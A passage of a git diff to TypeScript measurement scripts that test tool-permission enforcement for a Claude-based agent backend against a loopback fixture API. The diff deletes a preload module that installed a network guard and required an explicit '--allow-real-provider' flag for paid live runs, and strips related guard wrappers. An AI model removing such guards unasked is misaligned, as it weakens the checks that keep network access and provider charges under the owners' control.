${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(server.url.origin); const saved = { ...process.env }; Object.assign(process.env, { HOME: home, CLAUDE_CONFIG_DIR: join(home, "config") }); const observed: typeof query = params => { @@ -103,7 +100,7 @@ nativeScriptedService(server.url.origin); try { const profile: InferenceProfile = { id: "fixture", label: "Fixture", model: "claude-sonnet-5-5", billing: "api", requiredEnvKeys: [], buildEnv: () => ({ ...CLEARED_API_CREDENTIALS, ANTHROPIC_BASE_URL: `http://127.0.0.1:${server.port}`, ANTHROPIC_API_KEY: "offline-fixture", CLAUDE_CODE_OAUTH_TOKEN: "", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }) }; - const backend = createClaudeBackend({ brainPath: cwd, maintenance: worker.maintenance, profiles: [profile], allowedTools: allowChild ? ["Agent", "Bash"] : ["Agent"], queryFn: nativeScriptedQuery(observed, server.url.origin), log: () => { } }); + const backend = createClaudeBackend({ brainPath: cwd, maintenance: worker.maintenance, profiles: [profile], allowedTools: allowChild ? ["Agent", "Bash"] : ["Agent"], queryFn: observed, log: () => { } }); await backend.startTurn({ ...worker.request, prompt: "Delegate the controlled fixture call.", profileId: "fixture", signal: controller.signal, enforceAllowedTools: true, bridge: { emit: () => { }, requestPermission: async (request) => { approvals.push(request); return { behavior: "deny", message: "delegated-fixture-denied" }; } } }); assert.equal(mainSent, true, "the main CLI must execute the planned Agent call"); diff --git a/scripts/measure-claude-enforcement.ts b/scripts/measure-claude-enforcement.ts index 67db3ccd9b..2de7e32218 100644 --- a/scripts/measure-claude-enforcement.ts +++ b/scripts/measure-claude-enforcement.ts @@ -1,11 +1,10 @@ -import "./measurement-entry-preload.ts"; import { watchdogMs } from "./test-deadlines"; -import { nativeFixtureDirectory, nativeScriptedQuery } from "./test-native-guard.ts"; // #901: real production wiring, real CLI, scripted loopback inference. // Run in the same loopback-only network namespace as measure-claude-runtime. // The query wrapper observes existing handlers and messages; it forwards their // inputs and outputs unchanged. It installs no permission decision of its own. -import { chmodSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { chmodSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; import { dirname, join } from "node:path"; import type { HookJSONOutput, Options, SDKMessage } from "@anthropic-ai/claude-agent-sdk"; import { type PermissionRequest } from "@schlessera/brain-ui-sdk/server"; @@ -16,7 +15,7 @@ import { createClaudeBackend, type InferenceProfile } from "../packages/ui-backe import { CLEARED_API_CREDENTIALS } from "../packages/ui-backend-claude/src/subscription"; import { resultText, scriptedModel } from "./measure-claude-runtime"; import { createMeasurementWorkerFixture } from "./measurement-worker-fixture.js"; -import { enterMeasurementRtkView, prepareMeasurementBrainCommands } from "./measurement-rtk-fixture.js"; +import { enterMeasurementRtkView } from "./measurement-rtk-fixture.js"; import { isStaticNativeElf } from "../packages/ui-sdk/src/server/worker-rtk.js"; await enterMeasurementRtkView(); @@ -35,12 +34,9 @@ let failures = 0; try { for (const scenario of ["manual-default", "plain", "settings-allow", "settings-hook-allow", "rtk-rewrite"] as const) { for (const arm of ["denied", "approved", "allowlisted"] as const) { - const root = nativeFixtureDirectory("enforcement-probe-"); + const root = mkdtempSync(join(tmpdir(), "enforcement-probe-")); const cwd = join(root, "cwd"), home = join(root, "home"), bin = join(root, "bin"); for (const dir of [cwd, home, bin]) mkdirSync(dir); - // brainWorkerPath prepends this product PATH entry. Keep the empty - // fixture directory visible so projection preserves that exact PATH. - prepareMeasurementBrainCommands(cwd); const original = join(WORKER_SCRATCH, "original"), rewritten = join(WORKER_SCRATCH, "rewritten"), settingsMarker = join(WORKER_SCRATCH, "settings-hook-ran"); // Real writes stay in the worker's ephemeral scratch. A controlled native // witness reports filesystem observations to the loopback controller, @@ -66,7 +62,7 @@ try { Object.assign(process.env, { HOME: home, CLAUDE_CONFIG_DIR: join(home, ".claude"), PATH: scenario === "rtk-rewrite" ? "/usr/local/bin:/usr/bin:/bin" : `${bin}:/usr/bin:/bin` }); resetRtkProbe(); - const log = model.plan({ name: "Bash", input: { command } }, witness); + const log = model.plan({ name: "Bash", input: { command } }); const hookCalls: Array<{ index: string; input: unknown; output: HookJSONOutput }> = []; const callbackCalls: Array<{ input: unknown; output: unknown }> = []; const requests: PermissionRequest[] = []; @@ -86,7 +82,6 @@ try { const originalCallback = options.canUseTool!; const hooks = { ...options.hooks, PreToolUse: options.hooks?.PreToolUse?.map((matcher, i) => ({ ...matcher, hooks: matcher.hooks.map((hook, j) => async (input, id, context) => { - if(scenario==="rtk-rewrite")await worker.qualifyRtk(String((input as {tool_input?:{command?:unknown}}).tool_input?.command??"")); const output = await hook(input, id, context); if ("tool_use_id" in input && input.tool_use_id === callId) hookCalls.push({ index: `${i}:${j}`, input, output }); return output; @@ -120,7 +115,7 @@ try { const profile: InferenceProfile = { id: "probe", label: "Probe", model: "claude-sonnet-4-6", billing: "api", requiredEnvKeys: [], buildEnv: () => ({ ...CLEARED_API_CREDENTIALS, ANTHROPIC_BASE_URL: model.url, ANTHROPIC_API_KEY: "offline-fixture", CLAUDE_CODE_OAUTH_TOKEN: "", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }) }; - const backend = createClaudeBackend({ brainPath: cwd, maintenance: worker.maintenance, profiles: [profile], allowedTools: arm === "allowlisted" ? ["Bash"] : [], queryFn: nativeScriptedQuery(observedQuery, model.url), log: () => {} }); + const backend = createClaudeBackend({ brainPath: cwd, maintenance: worker.maintenance, profiles: [profile], allowedTools: arm === "allowlisted" ? ["Bash"] : [], queryFn: observedQuery, log: () => {} }); await backend.startTurn({ ...worker.request, prompt: "Run the planned tool call.", profileId: "probe", signal: controller.signal, enforceAllowedTools: scenario !== "manual-default", bridge: { emit: () => {}, requestPermission: async (request) => { requests.push(request); diff --git a/scripts/measure-claude-haiku.ts b/scripts/measure-claude-haiku.ts index 07fa3400d3..7b8dc92bf6 100644 --- a/scripts/measure-claude-haiku.ts +++ b/scripts/measure-claude-haiku.ts @@ -1,12 +1,11 @@ -import "./measurement-entry-preload.ts"; import { watchdogMs } from "./test-deadlines"; -import { nativeFixtureDirectory, nativeScriptedService, nativeScriptedQuery } from "./test-native-guard"; // #1238: actual bundled runtime, production model assembly, fixture inference. // Run inside a network namespace with only loopback. No real credentials. import assert from "node:assert/strict"; import { createMeasurementWorkerFixture } from "./measurement-worker-fixture.js"; import { createHash } from "node:crypto"; -import { mkdirSync, readFileSync, rmSync } from "node:fs"; +import { mkdirSync, mkdtempSync, readFileSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; import { dirname, join } from "node:path"; import type { SDKMessage, query as QueryFunction } from "@anthropic-ai/claude-agent-sdk"; import { createClaudeBackend } from "../packages/ui-backend-claude/src/backend"; @@ -19,7 +18,7 @@ const entry = Bun.resolveSync("@anthropic-ai/claude-agent-sdk", join(import.meta const { query } = await import(entry) as { query: typeof QueryFunction }; const sdk = JSON.parse(readFileSync(join(dirname(entry), "package.json"), "utf8")); const manifest = JSON.parse(readFileSync(join(dirname(entry), "manifest.json"), "utf8")); -const root = nativeFixtureDirectory("haiku-native-"); +const root = mkdtempSync(join(tmpdir(), "haiku-native-")); const brainPath = join(root, "brain"); mkdirSync(brainPath); const env = { ...CLEARED_API_CREDENTIALS, HOME: root, PATH: process.env.PATH ?? "/usr/bin:/bin", @@ -37,22 +36,6 @@ let worker: ReturnType | undefined; const saved = Object.fromEntries(["BRAIN_UI_EXEC_WRAPPER", "BRAIN_UI_EXEC_KILLER", "BRAIN_UI_SUBPROCESS_ENV_EXTRA"].map(key => [key, process.env[key]])); try { for (const key of Object.keys(saved)) delete process.env[key]; - server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(req) { - const path = new URL(req.url).pathname; - if (path !== "/v1/messages") { otherRequests.push({ path, method: req.method }); return Response.json({}); } - const body = await req.json() as Record; - requests.push({ body, model: body.model, apiKey: req.headers.get("x-api-key"), authorization: req.headers.get("authorization") }); - const events = [ - { type: "message_start", message: { id: "msg_haiku", type: "message", role: "assistant", model, content: [], stop_reason: null, stop_sequence: null, usage: { input_tokens: 10, output_tokens: 1 } } }, - { type: "content_block_start", index: 0, content_block: { type: "text", text: "" } }, - { type: "content_block_delta", index: 0, delta: { type: "text_delta", text: "Odysseus sails for Ithaca." } }, - { type: "content_block_stop", index: 0 }, - { type: "message_delta", delta: { stop_reason: "end_turn", stop_sequence: null }, usage: { output_tokens: 6 } }, - { type: "message_stop" }, - ]; - return new Response(events.map(event => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); - } }); - nativeScriptedService(server.url.origin,{fixtureRoots:[root]}); const spawn = selectedSpawn({ cwd: brainPath, env }); const bytes = readFileSync(spawn.command); const sha256 = createHash("sha256").update(bytes).digest("hex"); @@ -69,7 +52,21 @@ try { if (!process.argv.includes("--identity-only")) { assert.deepEqual(readFileSync("/proc/net/dev", "utf8").split("\n").slice(2).filter(line => line.includes(":")) .map(line => line.split(":")[0]!.trim()), ["lo"], "require a loopback-only network namespace"); - + server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(req) { + const path = new URL(req.url).pathname; + if (path !== "/v1/messages") { otherRequests.push({ path, method: req.method }); return Response.json({}); } + const body = await req.json() as Record; + requests.push({ body, model: body.model, apiKey: req.headers.get("x-api-key"), authorization: req.headers.get("authorization") }); + const events = [ + { type: "message_start", message: { id: "msg_haiku", type: "message", role: "assistant", model, content: [], stop_reason: null, stop_sequence: null, usage: { input_tokens: 10, output_tokens: 1 } } }, + { type: "content_block_start", index: 0, content_block: { type: "text", text: "" } }, + { type: "content_block_delta", index: 0, delta: { type: "text_delta", text: "Odysseus sails for Ithaca." } }, + { type: "content_block_stop", index: 0 }, + { type: "message_delta", delta: { stop_reason: "end_turn", stop_sequence: null }, usage: { output_tokens: 6 } }, + { type: "message_stop" }, + ]; + return new Response(events.map(event => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); + } }); const profiles = defineProfiles([{ id: model, model, label: "Claude Haiku 5.5", apiKeyEnv: "OFFLINE_FIXTURE_KEY" }]); profiles[0]!.requiredEnvKeys = []; profiles[0]!.buildEnv = () => ({ ...env, ANTHROPIC_BASE_URL: `http://127.0.0.1:${server!.port}` }); @@ -89,7 +86,7 @@ try { } const frames: Array<{ type: string; outcome?: string; message?: string }> = []; worker = createMeasurementWorkerFixture(brainPath, root); - const backend = createClaudeBackend({ brainPath, maintenance: worker.maintenance, profiles, queryFn: nativeScriptedQuery(observedQuery, server.url.origin), allowedTools: [], log: () => {} }); + const backend = createClaudeBackend({ brainPath, maintenance: worker.maintenance, profiles, queryFn: observedQuery, allowedTools: [], log: () => {} }); await backend.startTurn({ ...worker.request, profileId: model, prompt: "Reply with the fictional fixture sentence.", signal: controller.signal, bridge: { emit: frame => frames.push(frame), requestPermission: async () => ({ behavior: "deny", message: "No tools in this measurement." }) } }); assert.equal(frames.at(-1)?.outcome, "success", JSON.stringify(frames.at(-1))); diff --git a/scripts/measure-claude-runtime.ts b/scripts/measure-claude-runtime.ts index afdfa60fe6..2e43097c7b 100644 --- a/scripts/measure-claude-runtime.ts +++ b/scripts/measure-claude-runtime.ts @@ -1,6 +1,3 @@ -import "./measurement-entry-preload.ts"; -import type { createWorkerEffectWitness } from "./worker-effect-witness"; -import { nativeScriptedService, nativeScriptedQuery } from "./test-native-guard.ts"; // Re-measures the Claude Code runtime behaviours the permission design rests // on, against whatever SDK and CLI this workspace installs (#209, // docs/decisions/claude-code-runtime.md, "Re-checking a measured behaviour @@ -145,11 +142,10 @@ export function resultText(content: unknown): string { /** A loopback Messages API that plays one planned tool call per turn. */ export function scriptedModel(): { url: string; - plan(call: PlannedCall | null, witness?: ReturnType): ModelLog; + plan(call: PlannedCall | null): ModelLog; stop(): void; } { let call: PlannedCall | null = null; - let effects: ReturnType | undefined; let log: ModelLog = freshLog(); function freshLog(): ModelLog { return { mainRequests: 0, callSent: false, auth: [], offered: [], deferred: [] }; @@ -159,7 +155,6 @@ export function scriptedModel(): { port: 0, async fetch(req) { const path = new URL(req.url).pathname; - if (effects && path === effects.path) return effects.fetch(req); if (path !== "/v1/messages") return Response.json({}); log.auth.push({ xApiKey: req.headers.get("x-api-key"), @@ -180,11 +175,9 @@ export function scriptedModel(): { return toolReply(call); }, }); -nativeScriptedService(server.url.origin); return { url: `http://127.0.0.1:${server.port}`, - plan(next, witness) { - effects = witness; + plan(next) { call = next; log = freshLog(); return log; @@ -936,13 +929,11 @@ async function credentialRows(model: ReturnType): Promise< BRAIN_UI_SUBPROCESS_ENV_EXTRA: "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", }); const worker = createMeasurementWorkerFixture(sc.cwd, sc.home); - const leaveRoute = nativeScriptedService(model.url, {fixtureRoots:[sc.cwd,sc.home]}); try { const backend = createClaudeBackend({ maintenance: worker.maintenance, - queryFn: nativeScriptedQuery(query, model.url), brainPath: sc.cwd, - profiles: defineProfiles([{ id: "claude", label: "Claude", source: "builtin", baseUrl: model.url }]), + profiles: defineProfiles([{ id: "claude", label: "Claude", source: "builtin" }]), log: () => {}, }); await backend.startTurn({ @@ -952,7 +943,6 @@ async function credentialRows(model: ReturnType): Promise< bridge: { emit: () => {}, requestPermission: async () => ({ behavior: "deny", message: "probe" }) }, }); } finally { - leaveRoute(); worker.cleanup(); for (const key of Object.keys(process.env)) if (!(key in saved)) delete process.env[key]; Object.assign(process.env, saved); diff --git a/scripts/measure-claude-usage.ts b/scripts/measure-claude-usage.ts index fd86878259..dbf393f542 100644 --- a/scripts/measure-claude-usage.ts +++ b/scripts/measure-claude-usage.ts @@ -1,5 +1,3 @@ -import "./measurement-entry-preload.ts"; -import { nativeScriptedService } from "./test-native-guard.ts"; // Keyless installed-runtime measurement for #2025. Only a loopback Messages // origin is contacted; isolated HOME/config and synthetic credentials prevent // borrowing provider access. This measures CLI accounting, not provider bills. @@ -33,7 +31,6 @@ export async function measureClaudeUsage() { return new Response(events.map(event => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(model.url.origin,{fixtureCredentials:{ANTHROPIC_API_KEY:"sk-ant-api03-probe-only"}}); const cwd = mkdtempSync(join(tmpdir(), "claude-usage-cwd-")); const home = mkdtempSync(join(tmpdir(), "claude-usage-home-")); let sessionId: string | undefined, cliVersion: string | undefined; diff --git a/scripts/measure-form-schemas.ts b/scripts/measure-form-schemas.ts index d145cca030..669f138e1c 100644 --- a/scripts/measure-form-schemas.ts +++ b/scripts/measure-form-schemas.ts @@ -1,4 +1,3 @@ -import "./measurement-entry-preload.ts"; /** Keyless estimates of the actual always-loaded bridge schemas; never executes a tool. */ import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { InMemoryTransport } from "@modelcontextprotocol/sdk/inMemory.js"; diff --git a/scripts/measure-graph-boost.ts b/scripts/measure-graph-boost.ts index 686347c266..c8c6c7dd2c 100644 --- a/scripts/measure-graph-boost.ts +++ b/scripts/measure-graph-boost.ts @@ -1,4 +1,3 @@ -import "./measurement-entry-preload.ts"; /** * Measure a link-graph ranking signal on the keyless retrieval goldens (#419). * diff --git a/scripts/measure-pi-schema.ts b/scripts/measure-pi-schema.ts index 6a9e0361ec..c52136b94e 100644 --- a/scripts/measure-pi-schema.ts +++ b/scripts/measure-pi-schema.ts @@ -1,5 +1,3 @@ -import "./measurement-entry-preload.ts"; -// Live entry requires --allow-real-provider; permits provider access and charges. /** #563: three provider-acceptance probes, never a call-rate experiment. */ import { join, resolve } from "node:path"; import { existsSync, mkdtempSync, readFileSync, rmSync } from "node:fs"; diff --git a/scripts/measure-real-provider-dispatch.ts b/scripts/measure-real-provider-dispatch.ts index 799117dd12..0e8d124a7e 100644 --- a/scripts/measure-real-provider-dispatch.ts +++ b/scripts/measure-real-provider-dispatch.ts @@ -1,4 +1,3 @@ -import "./measurement-entry-preload.ts"; /** * Real-provider verification of the restricted inference relay and the gated * dispatcher (#1548). Opt-in, paid, never run by tests or CI. @@ -9,7 +8,7 @@ import "./measurement-entry-preload.ts"; * set to the real provider. T1 classification stays the keyless fixture; only * the agent tier reaches the provider, and only through the server's relay. * - * bun scripts/measure-real-provider-dispatch.ts --allow-real-provider --out [--spent-before ] [--dry-run] + * bun scripts/measure-real-provider-dispatch.ts --out [--spent-before ] [--dry-run] * * Profiles: `claude-api` (needs ANTHROPIC_API_KEY), `claude-subscription` * (needs CLAUDE_CODE_OAUTH_TOKEN), `pi-api` (needs ANTHROPIC_API_KEY). The @@ -62,7 +61,7 @@ const GUARD = { input: SONNET55_USD_PER_MTOK.input / 1e6, output: SONNET55_USD_P cacheRead: 0.2 / 1e6, cacheWrite: SONNET55_USD_PER_MTOK.cacheWrite1h / 1e6 }; function usage(message: string): never { - console.error(`${message}\nusage: bun scripts/measure-real-provider-dispatch.ts <${Object.keys(PROFILES).join("|")}> --allow-real-provider --out [--spent-before ] [--dry-run]`); + console.error(`${message}\nusage: bun scripts/measure-real-provider-dispatch.ts <${Object.keys(PROFILES).join("|")}> --out [--spent-before ] [--dry-run]`); process.exit(2); } @@ -84,7 +83,7 @@ async function parent(): Promise { for (const dir of ["home", "claude", "pi", "run"]) mkdirSync(join(root, dir), { recursive: true }); // One attempt: pi retries nothing, compacts nothing and warms no cache. writeFileSync(join(root, "pi/settings.json"), JSON.stringify({ retry: { enabled: false }, compaction: { enabled: false }, cacheWarming: "off" })); - const child = Bun.spawn([process.execPath, import.meta.path, "--server", name, root, dry ? "dry" : "live", String(prior), "--allow-real-provider"], { + const child = Bun.spawn([process.execPath, import.meta.path, "--server", name, root, dry ? "dry" : "live", String(prior)], { cwd: REPO, stdio: ["ignore", "pipe", "pipe"], env: { PATH: process.env.PATH!, LANG: "C.UTF-8", HOME: join(root, "home"), TMPDIR: tmpdir(), CLAUDE_CONFIG_DIR: join(root, "claude"), PI_CODING_AGENT_DIR: join(root, "pi"), @@ -153,7 +152,6 @@ async function server(name: ProfileName, root: string, mode: "dry" | "live", pri return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); } - const releaseScripted = fixture ? (await import("./test-native-guard")).nativeScriptedService(new URL(fixture.url).origin, {fixtureRoots:[brainPath,join(root,"home")]}) : undefined; const upstream = fixture ? `http://127.0.0.1:${fixture.port}` : PROVIDER; if (profile.adapter === "pi" && fixture) writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: upstream } } })); @@ -388,7 +386,7 @@ async function server(name: ProfileName, root: string, mode: "dry" | "live", pri ...(fixture ? { fixture: { maxTokens: fixtureMaxTokens, serverCredentialInjected: injected } } : {}), }; writeFileSync(join(root, "receipt.json"), JSON.stringify(receipt, null, 2) + "\n"); - listener.stop(true); await app.close(); fixture?.stop(true); releaseScripted?.(); + listener.stop(true); await app.close(); fixture?.stop(true); rmSync(join(root, "pi-sessions"), { recursive: true, force: true }); process.exit(0); } diff --git a/scripts/measure-show-block-server.ts b/scripts/measure-show-block-server.ts index c392c9f764..1759dc12cb 100644 --- a/scripts/measure-show-block-server.ts +++ b/scripts/measure-show-block-server.ts @@ -1,4 +1,3 @@ -import { measurementAuthorizationArgs } from "./measurement-entry-preload.ts"; // Measures how often a backend reaches for `show_block` (D41) and what the // classification pass (D42) finds in the markdown it typed instead — // through the running server, so any backend can be measured. @@ -17,9 +16,9 @@ import { measurementAuthorizationArgs } from "./measurement-entry-preload.ts"; // // Two modes: // -// bun scripts/measure-show-block-server.ts --allow-real-provider --brain --out runs.json \ +// bun scripts/measure-show-block-server.ts --brain --out runs.json \ // [--backend pi|claude] [--model claude-sonnet-5-5] [--prompts 0,1,2,3] [--runs 6] -// bun scripts/measure-show-block-server.ts --allow-real-provider --suggestions --brain --backend pi --runs 3 --out suggestions.json +// bun scripts/measure-show-block-server.ts --suggestions --brain --backend pi --runs 3 --out suggestions.json // bun scripts/measure-show-block-server.ts --report runs.json [more.json …] // // Point `--brain` at a copy of a brain OUTSIDE any checkout of this repo. @@ -905,7 +904,7 @@ async function measureSuggestionArms(): Promise { const armOut = `${out}.${arm}.json`; const args = process.argv.slice(2); args[args.indexOf("--out") + 1] = armOut; - const child = Bun.spawn([process.execPath, "--preload", join(import.meta.dir, "measure-suggestions-preload.ts"), import.meta.path, ...args, ...measurementAuthorizationArgs], { + const child = Bun.spawn([process.execPath, "--preload", join(import.meta.dir, "measure-suggestions-preload.ts"), import.meta.path, ...args], { env: { ...process.env, BRAIN_MEASURE_SUGGESTIONS_ARM: arm }, stdout: "inherit", stderr: "inherit", }); if (await child.exited !== 0) throw new Error(`Suggestions arm ${arm} failed; partial records remain in ${armOut}.`); diff --git a/scripts/measure-show-block.ts b/scripts/measure-show-block.ts index 4645380dca..beae10106e 100644 --- a/scripts/measure-show-block.ts +++ b/scripts/measure-show-block.ts @@ -1,4 +1,3 @@ -import "./measurement-entry-preload.ts"; import { watchdogMs } from "./test-deadlines"; /** * Measure the `show_block` call rate on the Claude backend, with and without @@ -34,14 +33,14 @@ import { watchdogMs } from "./test-deadlines"; * duplicates; a claim about "the block rate" needs to say which one produced * it, and on which backend. * - * bun scripts/measure-show-block.ts --allow-real-provider --reps 3 --out runs.json --md report.md - * bun scripts/measure-show-block.ts --allow-real-provider --always-load # tools in the prompt - * bun scripts/measure-show-block.ts --allow-real-provider --tokens # the schema arithmetic - * bun scripts/measure-show-block.ts --allow-real-provider --both-arms # loaded AND deferred, one run - * bun scripts/measure-show-block.ts --allow-real-provider --suggestions --reps 3 --out suggestions.json --md suggestions.md + * bun scripts/measure-show-block.ts --reps 3 --out runs.json --md report.md + * bun scripts/measure-show-block.ts --always-load # tools in the prompt + * bun scripts/measure-show-block.ts --tokens # the schema arithmetic + * bun scripts/measure-show-block.ts --both-arms # loaded AND deferred, one run + * bun scripts/measure-show-block.ts --suggestions --reps 3 --out suggestions.json --md suggestions.md * bun scripts/measure-show-block.ts --suggestions --schema-cost # keyless estimates - * bun scripts/measure-show-block.ts --allow-real-provider --suggestions --tokens # counted API cost - * bun scripts/measure-show-block.ts --allow-real-provider --schema-forms # #336: the schema written three ways + * bun scripts/measure-show-block.ts --suggestions --tokens # counted API cost + * bun scripts/measure-show-block.ts --schema-forms # #336: the schema written three ways * * `--both-arms` re-checks D44's CLI half on whatever runtime is installed * (#209): every prompt runs with the bridge server loaded and deferred, the @@ -670,7 +669,7 @@ async function countTokens(credential: LiveCredential, body: Record bun scripts/measure-sync-judge.ts --allow-real-provider [--set files|pairs|all]" + "Set it for this run: TYPESAFE_API_KEY= bun scripts/measure-sync-judge.ts [--set files|pairs|all]" ); return 2; } diff --git a/scripts/measure-sync-run.ts b/scripts/measure-sync-run.ts index b7a9549edb..06e4ccea6a 100644 --- a/scripts/measure-sync-run.ts +++ b/scripts/measure-sync-run.ts @@ -1,4 +1,3 @@ -import "./measurement-entry-preload.ts"; /** * Time `brain sync run` over the E3 states it meets most: (a) nothing to do, * (b) local edits only, (c) two clones editing different files, (d) two diff --git a/scripts/measure-turn-surface-keyless.ts b/scripts/measure-turn-surface-keyless.ts index 37ebf76854..ca20e23d08 100644 --- a/scripts/measure-turn-surface-keyless.ts +++ b/scripts/measure-turn-surface-keyless.ts @@ -1,4 +1,3 @@ -import "./measurement-entry-preload.ts"; /** #587 offline mechanics. This entry has no live transport or query import. */ import { readFileSync } from "node:fs"; import { join } from "node:path"; diff --git a/scripts/measure-turn-surface-live.ts b/scripts/measure-turn-surface-live.ts index e390100d72..e4f85c9fce 100644 --- a/scripts/measure-turn-surface-live.ts +++ b/scripts/measure-turn-surface-live.ts @@ -1,6 +1,4 @@ -import "./measurement-entry-preload.ts"; import { watchdogMs } from "./test-deadlines"; -import {nativeScriptedService,nativeSyntheticCredential} from "./test-native-guard"; /** Private #587 research entrypoint. Never changes a production router/default. */ import { mkdirSync, mkdtempSync, readFileSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -168,7 +166,7 @@ export async function measureLiveSurface(params: { manifestPath: string; reviewP ANTHROPIC_DEFAULT_SONNET_MODEL: SURFACE_MODEL, ANTHROPIC_DEFAULT_OPUS_MODEL: SURFACE_MODEL, CLAUDE_CODE_SUBAGENT_MODEL: SURFACE_MODEL, CLAUDE_CODE_SUBAGENT_MODEL_FORCE: "1" }, autoMemoryEnabled: false }, env: { PATH: dirname(process.execPath) + ":/usr/bin:/bin", HOME: home, CLAUDE_CONFIG_DIR: join(home, ".claude"), - CLAUDE_CODE_OAUTH_TOKEN: offline ? nativeSyntheticCredential("CLAUDE_CODE_OAUTH_TOKEN") : process.env.CLAUDE_CODE_OAUTH_TOKEN!, + CLAUDE_CODE_OAUTH_TOKEN: offline ? "sk-ant-oat01-controlled-offline-token" : process.env.CLAUDE_CODE_OAUTH_TOKEN!, ...(offline ? { ANTHROPIC_BASE_URL: offline.nativeBaseUrl } : {}), CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", ENABLE_TOOL_SEARCH: "true", ANTHROPIC_DEFAULT_HAIKU_MODEL: SURFACE_MODEL, ANTHROPIC_DEFAULT_SONNET_MODEL: SURFACE_MODEL, @@ -180,9 +178,7 @@ export async function measureLiveSurface(params: { manifestPath: string; reviewP spawnClaudeCodeProcess: spec => { if (spec.env.ANTHROPIC_API_KEY || spec.env.ANTHROPIC_AUTH_TOKEN || spec.env.ANTHROPIC_CUSTOM_HEADERS) throw Error("Unexpected inference billing credential"); spawnedMs = performance.now() - started; - const leave = offline ? nativeScriptedService(offline.nativeBaseUrl, {fixtureRoots:[fixture.root,home]}) : undefined; - try { child = spawn(spec.command, spec.args, { cwd: spec.cwd, env: spec.env, signal: spec.signal, stdio: ["pipe", "pipe", "pipe"] }); } - finally { leave?.(); } + child = spawn(spec.command, spec.args, { cwd: spec.cwd, env: spec.env, signal: spec.signal, stdio: ["pipe", "pipe", "pipe"] }); childExited = new Promise(resolve => { child!.once("exit", (exitCode,signal) => { nativeProcessReceipts.push({cell:index+1,exitCode,signal});resolve(); }); }); diff --git a/scripts/measure-turn-surface-report.ts b/scripts/measure-turn-surface-report.ts index e5c11bd128..95aae1bcbe 100644 --- a/scripts/measure-turn-surface-report.ts +++ b/scripts/measure-turn-surface-report.ts @@ -1,4 +1,3 @@ -import "./measurement-entry-preload.ts"; /** Recompute the public routing table from retained measurement rows; no provider calls. */ import { readFileSync, writeFileSync } from "node:fs"; const args = process.argv.slice(2); diff --git a/scripts/measure-turn-surface-tokens.ts b/scripts/measure-turn-surface-tokens.ts index 11a0daf5c7..459f2e39c9 100644 --- a/scripts/measure-turn-surface-tokens.ts +++ b/scripts/measure-turn-surface-tokens.ts @@ -1,4 +1,3 @@ -import "./measurement-entry-preload.ts"; /** Count the captured installed-CLI surface; never generate an answer. */ import { createHash } from "node:crypto"; import { captureSurface, SURFACE_MODEL } from "./capture-turn-surface"; diff --git a/scripts/measurement-entry-preload.ts b/scripts/measurement-entry-preload.ts deleted file mode 100644 index c4fa2997f2..0000000000 --- a/scripts/measurement-entry-preload.ts +++ /dev/null @@ -1,18 +0,0 @@ -import { basename, join } from "node:path"; -import { realpathSync } from "node:fs"; -import { installNetworkGuard } from "./test-network-guard"; -import { enterMeasurement } from "./measurement-entry"; - -// Synchronous first-import admission: denial precedes sibling runtime imports. -let entry = ""; -try { - const source = realpathSync(process.argv[1]!); - const name = basename(source); - if (source === realpathSync(join(import.meta.dir, name))) entry = name; -} catch { /* Library/test imports retain offline admission. */ } -export const measurementAdmission = enterMeasurement({ entry, argv: process.argv.slice(2), liveEval: process.env.BRAIN_LIVE_EVAL, piOffline: process.env.BRAIN_MEASURE_PI_WORKER_OFFLINE === "1" }, - { installOffline: () => { installNetworkGuard(); }, warn: message => console.error(message) }); -// Keep existing command parsers unchanged after the explicit flag is consumed. -export const measurementAuthorizationArgs = measurementAdmission === "live" && process.argv.includes("--allow-real-provider") - ? ["--allow-real-provider"] : []; -if (process.argv.includes("--allow-real-provider")) process.argv = process.argv.filter(arg => arg !== "--allow-real-provider"); diff --git a/scripts/measurement-entry.ts b/scripts/measurement-entry.ts deleted file mode 100644 index e1815143b6..0000000000 --- a/scripts/measurement-entry.ts +++ /dev/null @@ -1,31 +0,0 @@ -/** Fixed admission rules for repository measurement commands, never a provider extension. */ -export interface MeasurementEntryInput { entry: string; argv: readonly string[]; liveEval?: string; piOffline?: boolean } -const protocol587 = new Set(["measure-turn-surface-live.ts", "measure-turn-surface-tokens.ts"]); -const liveFlag = new Set(["measure-show-block.ts", "measure-show-block-server.ts", "measure-real-provider-dispatch.ts", "measure-pi-schema.ts", "measure-sync-judge.ts"]); -export const REAL_MEASUREMENT_WARNING = "REAL-PROVIDER MEASUREMENT: provider access and charges are authorized; this is not offline test proof."; -export function measurementMode(input: MeasurementEntryInput): "live" | "offline" { - const has = (flag: string) => input.argv.includes(flag); - const offline = input.entry === "measure-pi-schema.ts" && input.piOffline === true - || input.entry === "measure-show-block.ts" && has("--suggestions") && has("--schema-cost") - || input.entry === "measure-show-block-server.ts" && (has("--inspect-suggestions") || has("--report")) - || input.entry === "measure-real-provider-dispatch.ts" && (input.argv[0] === "--server" ? input.argv[3] === "dry" : has("--dry-run")) - || input.entry === "measure-turn-surface-live.ts" && (has("--offline") || input.liveEval === "587_OFFLINE"); - // Mode takes precedence over ambient authorization: local work stays guarded. - if (offline) return "offline"; - if (protocol587.has(input.entry)) { - if (input.liveEval === "587") return "live"; - if (input.entry === 